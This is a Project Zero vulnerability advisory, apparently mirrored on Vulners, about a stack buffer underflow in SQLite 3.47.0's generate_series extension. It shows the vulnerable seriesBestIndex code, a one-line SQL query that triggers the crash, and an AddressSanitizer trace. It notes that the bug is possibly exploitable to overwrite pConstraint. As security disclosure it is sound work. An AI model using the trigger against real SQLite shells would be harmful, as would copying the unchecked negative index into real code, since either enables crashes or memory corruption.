Lucene search
K

SQLite3 generate_series Stack Buffer Underflow

🗓️ 04 Nov 2024 00:00:00Reported by Google Security Research, GlazvunovType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 349 Views

SQLite3 generate_series Stack Buffer Underflow vulnerability in seriesBestIndex function due to improper handling of rowid constraints, leading to crashes with assertion failure or stack buffer underflow when built with different configurations

Code
`Vulnerability details  
  
static int seriesBestIndex(  
sqlite3_vtab *pVTab,  
sqlite3_index_info *pIdxInfo  
){  
int i, j; /* Loop over constraints */  
int idxNum = 0; /* The query plan bitmask */  
#ifndef ZERO_ARGUMENT_GENERATE_SERIES  
int bStartSeen = 0; /* EQ constraint seen on the START column */  
#endif  
int unusableMask = 0; /* Mask of unusable constraints */  
int nArg = 0; /* Number of arguments that seriesFilter() expects */  
int aIdx[7]; /* Constraints on start, stop, step, LIMIT, OFFSET,  
** and value. aIdx[5] covers value=, value>=, and  
** value>, aIdx[6] covers value<= and value< */  
const struct sqlite3_index_constraint *pConstraint;  
  
/* This implementation assumes that the start, stop, and step columns  
** are the last three columns in the virtual table. */  
assert( SERIES_COLUMN_STOP == SERIES_COLUMN_START+1 );  
assert( SERIES_COLUMN_STEP == SERIES_COLUMN_START+2 );  
  
aIdx[0] = aIdx[1] = aIdx[2] = aIdx[3] = aIdx[4] = aIdx[5] = aIdx[6] = -1;  
pConstraint = pIdxInfo->aConstraint;  
for(i=0; i<pIdxInfo->nConstraint; i++, pConstraint++){  
int iCol; /* 0 for start, 1 for stop, 2 for step */  
int iMask; /* bitmask for those column */  
int op = pConstraint->op;  
if( op>=SQLITE_INDEX_CONSTRAINT_LIMIT  
&& op<=SQLITE_INDEX_CONSTRAINT_OFFSET  
){  
if( pConstraint->usable==0 ){  
[...]  
}  
continue;  
}  
if( pConstraint->iColumn==SERIES_COLUMN_VALUE ){  
switch( op ){  
[...]  
}  
continue;  
}  
iCol = pConstraint->iColumn - SERIES_COLUMN_START; // *** 1 ***  
assert( iCol>=0 && iCol<=2 ); // *** 2 ***  
iMask = 1 << iCol;  
#ifndef ZERO_ARGUMENT_GENERATE_SERIES  
if( iCol==0 && op==SQLITE_INDEX_CONSTRAINT_EQ ){  
bStartSeen = 1;  
}  
#endif  
if( pConstraint->usable==0 ){  
unusableMask |= iMask;  
continue;  
}else if( op==SQLITE_INDEX_CONSTRAINT_EQ ){  
idxNum |= iMask;  
aIdx[iCol] = i; // *** 3 ***  
}  
}  
  
struct sqlite3_index_constraint {  
int iColumn; /* Column constrained. -1 for ROWID */ // *** 4 ***  
unsigned char op; /* Constraint operator */  
unsigned char usable; /* True if this constraint is usable */  
int iTermOffset; /* Used internally - xBestIndex should ignore */  
} *aConstraint; /* Table of WHERE clause constraints */  
  
The seriesBestIndex function doesn't handle rowid constraints correctly. The code at [1] expects iColumn to be one of SERIES_COLUMN_START, SERIES_COLUMN_STOP, or SERIES_COLUMN_STEP (values 1, 2, or 3). However, the line can also be reached with a rowid constraint with an iColumn value of -1. Depending on the build configuration, the negative iCol may either trigger an assertion failure at [2] or lead to an out-of-bounds memory write access at [3].  
Version  
  
3.47.0 2024-10-05 12:02:17 2f7eab381e16760952d1c90a9119d2a217933f0136442d8f6eeb6d95e366ca4f (64-bit)  
Reproduction case  
  
SELECT * FROM generate_series(1, 1) WHERE rowid = 1  
  
When built with assertions, the SQLite shell crashes with an assertion failure:  
  
shell.c:6816: seriesBestIndex: Assertion `iCol>=0 && iCol<=2' failed.  
  
When built with NDEBUG and ASan, the program produces the following crash report:  
  
==2623073==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7ff83210be18 at pc 0x55dbc9afcd14 bp 0x7ffc7a497cd0 sp 0x7ffc7a497cc8  
WRITE of size 4 at 0x7ff83210be18 thread T0  
#0 0x55dbc9afcd13 in seriesBestIndex shell.c:6828  
#1 0x55dbc9d5aaa9 in vtabBestIndex sqlite3.c:164633  
#2 0x55dbc9d66290 in whereLoopAddVirtualOne sqlite3.c:167237  
#3 0x55dbc9d67e57 in whereLoopAddVirtual sqlite3.c:167549  
#4 0x55dbc9d69f06 in whereLoopAddAll sqlite3.c:167822  
#5 0x55dbc9d73724 in sqlite3WhereBegin sqlite3.c:169776  
#6 0x55dbc9d1b3d2 in sqlite3Select sqlite3.c:151580  
#7 0x55dbc9d8c131 in yy_reduce sqlite3.c:177608  
#8 0x55dbc9d98b5c in sqlite3Parser sqlite3.c:179058  
#9 0x55dbc9d9cc59 in sqlite3RunParser sqlite3.c:180392  
#10 0x55dbc9cf1863 in sqlite3Prepare sqlite3.c:143187  
#11 0x55dbc9cf1f65 in sqlite3LockAndPrepare sqlite3.c:143262  
#12 0x55dbc9cf2356 in sqlite3_prepare_v2 sqlite3.c:143349  
#13 0x55dbc9b30f63 in shell_exec shell.c:24228  
#14 0x55dbc9b58583 in runOneSqlLine shell.c:31909  
#15 0x55dbc9b59624 in process_input shell.c:32097  
#16 0x55dbc9b5d1b7 in main shell.c:33026  
#17 0x7ff834243b89 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58  
#18 0x7ff834243c44 in __libc_start_main_impl ../csu/libc-start.c:360  
#19 0x55dbc9ae27a0 in _start (sq+0x4a7a0) (BuildId: 8e6639a5755a4687574b3d22d6cf593ca32bb8b6)  
  
Address 0x7ff83210be18 is located in stack of thread T0 at offset 24 in frame  
#0 0x55dbc9afc4b6 in seriesBestIndex shell.c:6732  
  
This frame has 1 object(s):  
[32, 60) 'aIdx' (line 6740) <== Memory access at offset 24 underflows this variable  
  
We've observed that, depending on the compiler and SQLite build configuration, this issue may allow an attacker to overwrite pConstraint, which makes it likely exploitable. However, the generate_series extension is only enabled by default in the shell binary and not the library itself, so the impact of the issue is limited.  
  
  
Credit information  
  
Sergei Glazunov of Google Project Zero  
  
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2025-01-07.  
  
For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation